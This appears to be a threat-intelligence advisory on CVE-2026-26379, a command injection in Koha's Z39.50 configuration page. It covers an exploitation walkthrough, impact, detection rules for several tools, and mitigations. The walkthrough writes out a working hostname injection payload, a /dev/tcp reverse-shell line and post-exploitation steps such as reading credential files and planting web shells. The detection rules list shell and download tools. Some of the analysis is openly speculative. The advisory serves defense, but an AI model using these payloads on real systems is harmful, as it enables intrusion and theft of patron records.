CVE-2026-26379

Executive Summary

CVE-2026-26379 is a critical remote code execution vulnerability in Koha Integrated Library System (ILS) version 25.11 and earlier, specifically within the Z39.50 configuration module. An authenticated remote attacker with access to the staff client can exploit insufficient input validation to inject arbitrary code that executes on the underlying server with the privileges of the Koha application user. Successful exploitation results in full system compromise, including database access, theft of patron PII, and potential lateral movement into adjacent library network infrastructure.

Technical Analysis

The Z39.50 protocol is an international standard (ISO 23950) used for library resource sharing, allowing Koha instances to query remote bibliographic databases. Koha's staff client exposes a configuration interface for managing Z39.50 server targets, typically located under /cgi-bin/koha/admin/z3950servers.pl. This interface permits authorized staff members to define new Z39.50 server endpoints by specifying hostname, port, database name, and various syntax/encoding parameters.

The vulnerability stems from improper sanitization of user-supplied data within the Z39.50 server configuration fields. Specifically, the hostname and syntax parameters are interpolated into server-side commands without adequate escaping. Koha historically relies on Perl's Z3950 module or invokes external utilities like yaz-client (from the YAZ toolkit) via system() or backtick operators to perform Z39.50 searches. When a configured server target is subsequently used for a live search (either manually via the staff interface or automatically through the z3950 cron job), the unsanitized fields are concatenated into a shell command string and executed.

The attack surface is the Z39.50 configuration module's web forms. An attacker who can authenticate to the staff client (even with limited cataloging permissions) can craft malicious values. The flaw is likely a command injection vulnerability where shell metacharacters (e.g., `, ;, |, $()) embedded in fields like hostname are interpreted by the shell when the Z39.50 query is dispatched. Because the application server typically runs with privileges sufficient to access the Koha database and file system, code execution occurs at that privilege level.

The NVD description confirms the vulnerability affects Koha v.25.11 and earlier, indicating a lack of input validation or output encoding in the Z39.50 module. No CWE is assigned in the provided data; based on the vulnerability class, CWE-94: Improper Control of Generation of Code ('Code Injection') is the most probable classification.

Exploitation Scenarios

The following attack chain describes a realistic exploitation path for a moderately privileged staff user:

1) Reconnaissance and Target Identification

• Enumerate public-facing Koha OPAC (Online Public Access Catalog) interfaces.
• Identify the staff client URL (typically /cgi-bin/koha/mainpage.pl) by probing common paths or observing login portals.
• Determine if default credentials are in use (e.g., admin/admin or koha/koha) or harvest credentials via phishing directed at library staff.

2) Weaponization and Trigger

• Authenticate to the staff client as a user with at least catalogue or editcatalogue permissions (required to manage Z39.50 targets).
• Navigate to /cgi-bin/koha/admin/z3950servers.pl.
• Click "New Z39.50 server" to open the configuration form.
• In the Hostname field, inject the payload:

  127.0.0.1;id > /tmp/pwned;#
  

• In the Port field, enter 210 (or any valid port). Set other fields (Database, Syntax) to valid-looking values to bypass client-side validation.
• Save the server profile. The malicious profile is stored in the Koha database.

3) Payload Execution

• Trigger the Z39.50 search by either:
  • Using the "Search" button on the newly created server profile in the admin interface.
  • Waiting for the scheduled z3950 cron job (if configured) to query the malicious server.
• When Koha dispatches the query, the application constructs a command like:

  yaz-client -h 127.0.0.1;id > /tmp/pwned;# -p 210 -d db
  

  The shell interprets ;id > /tmp/pwned;# — executing id, redirecting output to /tmp/pwned, and treating the remainder as a comment.

4) Post-Exploitation Impact

• Confirm code execution by checking /tmp/pwned via another web-facing vulnerability or file inclusion, or by leveraging the RCE directly to launch a reverse shell:

  127.0.0.1;bash -i >& /dev/tcp/192.168.1.10/4444 0>&1;#
  

• With a shell as the Koha Apache user (www-data or similar), the attacker can:
  • Extract the koha_koha database credentials from /etc/koha/sites/koha/koha-conf.xml.
  • Dump the database containing patron records (names, addresses, phone numbers, borrowing history, and potentially payment card details for fines).
  • Plant web shells in /usr/share/koha/opac/cgi-bin/ for persistent access.
  • Pivot to other systems on the library network (catalog workstations, self-checkout kiosks, or IT management servers).

Impact Assessment

Successful exploitation of CVE-2026-26379 provides a remote attacker with arbitrary code execution on the Koha server. The confidentiality impact is High (CVSS sub-score: 3.6 based on the provided vector) — attackers can read the entire library database, including patron personally identifiable information (PII) and borrowing records, potentially violating GDPR or local privacy regulations. Integrity impact is High (CVSS sub-score: 3.6) — attackers can modify catalog records, deface the public OPAC, or alter fine/payment data. Availability impact is High (CVSS sub-score: 3.6) — attackers can shut down the ILS, destroying the library's operational capacity.

The blast radius extends beyond the Koha server itself. Koha deployments often share infrastructure with other library services (interlibrary loan systems, digital repositories, or self-service portals). A compromised Koha instance becomes a foothold for lateral movement into the broader institution network. Public library systems are attractive targets for ransomware groups due to tight budgets and critical public-facing uptime requirements. The attack requires authentication to the staff client, which lowers the likelihood of exploitation by unauthenticated external actors but does not meaningfully reduce the severity for institutions with weak credential practices.

With an EPSS score of 0.00243 (15.5th percentile), the probability of immediate exploitation is currently low. However, the vulnerability class (authenticated RCE in a widely-deployed open-source ILS) historically tends to see increased exploitation as proof-of-concept code matures. Since the CVE has no public PoC and is not listed in CISA KEV, the threat of active exploitation in the wild is assessed as moderate-to-low at this time, but expected to rise.

Detection Guidance

Sigma Rule

title: Koha Z39.50 Configuration Command Injection
id: b4120d5e-1234-4a45-9b6c-2f3a1d4c5e67
status: experimental
description: Detects attempts to inject shell commands via the Koha Z39.50 server configuration module
author: Valtersit Threat Intel
date: 2026/02/14
logsource:
  category: webserver
  product: apache
  definition: Access logs from Koha staff client
detection:
  selection:
    cs-uri-query|contains:
      - 'z3950servers.pl'
      - 'add_z3950server.pl'
      - 'edit_z3950server.pl'
    cs-method: 'POST'
    cs-uri-query|contains:
      - ';'
      - '|'
      - '`'
      - '$('
      - '&&'
      - '||'
  condition: selection
level: high
falsepositives:
  - Legitimate configuration of multiple Z39.50 servers with unusual hostname strings
tags:
  - attack.t1190
  - attack.execution
  - cve.2026.26379

YARA Rule

rule CVE_2026_26379_Koha_Z3950_Command_Injection
{
    meta:
        author = "Valtersit Threat Intel"
        date = "2026-02-14"
        description = "Detects shell metacharacter sequences in Z39.50 server configuration payloads"
        cve = "CVE-2026-26379"
        severity = "critical"
    strings:
        $s1 = "z3950servers.pl" ascii nocase
        $s2 = "hostname=" ascii nocase
        $s3 = ";id" ascii nocase
        $s4 = "|bash" ascii nocase
        $s5 = "`" ascii
        $s6 = "$(" ascii
        $s7 = "bash -i" ascii nocase
        $s8 = "/dev/tcp/" ascii nocase
        $s9 = "wget" ascii nocase
        $s10 = "curl" ascii nocase
    condition:
        $s1 and $s2 and 3 of ($s3, $s4, $s5, $s6, $s7, $s8, $s9, $s10)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"CVE-2026-26379 Koha Z39.50 Config Command Injection"; flow:established,to_server; content:"POST"; http_method; content:"z3950servers.pl"; http_uri; content:"hostname="; http_client_body; pcre:"/(?:;|\||`|\$\(|&&|\|\|)(?:id|bash|wget|curl|nc|ncat|python|perl|/bin\/)/i"; classtype:attempted-admin; sid:900026379; rev:1; metadata:cve CVE-2026-26379;)

Elastic Detection

# Elastic EQL query
sequence by host.name, user.name with maxspan=5m
  [ process where event.action == "exec" and 
     process.command_line regex~ ".*(yaz-client|Z3950).*" and
     process.command_line regex~ ".*(;|\\||`|\\$\\(|&&).*" ]

Splunk SPL Query

index=apache sourcetype=access_combined_wcookie
| where like(cs_uri_query, "%z3950servers.pl%")
| where like(cs_uri_query, "%hostname=%")
| rex field=cs_uri_query "hostname=(?<z3950_host>[^&]+)"
| where match(z3950_host, "[;|`$&]")
| stats count by clientip, user, cs_uri_query, _time
| sort - _time

Wazuh OSSEC Rule

<group name="koha,">
  <rule id="100263" level="12">
    <if_sid>31122</if_sid>
    <url>z3950servers.pl</url>
    <regex>hostname=.*(;|\||`|$\()</regex>
    <description>CVE-2026-26379: Potential Z39.50 command injection in Koha staff client</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>attack_execution,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 2/4 (CLAIMED — single source claims patch (not independently confirmed)). A patch is asserted to exist in Koha 25.11 according to OSV, but this is not yet independently verified by the vendor advisory or multiple sources. Treat mitigation guidance below as critical even if a patch is pending.

1) Immediate Mitigations:

• Restrict access to the Koha staff client to trusted IP ranges or VPN only. Enforce network-level ACLs on the web server (e.g., Apache <Location /cgi-bin/koha/admin/z3950servers.pl> Require ip 10.0.0.0/8 </Location>).
• Disable the Z39.50 configuration module if not actively used by editing /etc/koha/sites/koha/koha-conf.xml and removing the Z39.50-related configuration, or by renaming z3950servers.pl on the web server.
• Audit all existing Z39.50 server profiles in the Koha admin interface; remove any profiles with unusual characters in hostname/syntax fields.
• Enable and review audit logs (z3950.log and web server access logs) for anomalous POST requests to the Z39.50 admin pages.

2) Patch/Upgrade Steps:

• Monitor the Koha release announcements (koha.org and Koha community git.koha-community.org).
• When the official patched release is confirmed, upgrade to the fixed version:

  # Debian/Ubuntu (using the Koha official repos)
  sudo apt update
  sudo apt install koha-common
  sudo koha-upgrade
  

• If running from Git, pull the stable branch containing the security fix (git pull and sudo perl installer/runinstaller.pl).
• Verify the Z39.50 module sanitizes input post-upgrade by testing the configuration form with a harmless payload (e.g., 127.0.0.1;echo TEST) and confirming no command execution.

3) Long-Term Hardening:

• Run the Koha worker processes under an unprivileged system account with no shell access (/sbin/nologin).
• Apply the Principle of Least Privilege: restrict staff client permissions so that only dedicated cataloging staff (not all patrons or low-tier staff) can access Z39.50 configuration.
• Implement a Web Application Firewall (WAF) rule to block POST requests containing shell metacharacter patterns to /admin/* paths.
• Enforce multi-factor authentication (MFA) for all staff client accounts.
• Segment the Koha server onto a separate VLAN from other library systems and the general institutional network.
• Maintain regular, tested backups of the Koha database to enable rapid recovery from ransomware or destructive attacks.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-26379
2. Koha Community Repository (Git): https://git.koha-community.org/Koha-community/Koha
3. OSV Advisory (claimed patch): https://osv.dev/vulnerability/PUBLIC-2026-26379
4. Koha Security Policy & Releases: https://koha-community.org/security/
5. CISA Known Exploited Vulnerabilities Catalog (not currently listed): https://www.cisa.gov/known-exploited-vulnerabilities-catalog

Known threat actor campaigns: As of this writing, no active exploitation campaigns against CVE-2026-26379 have been publicly documented. The EPSS score of 0.00243 indicates a low probability of in-the-wild exploitation, and the vulnerability is not present in the CISA KEV catalog. However, threat actors targeting open-source library systems have been observed in the past (e.g., opportunistic botnets scanning for exposed Koha instances), so evolving activity should be monitored via Shodan for new Koha instances with exposed staff clients.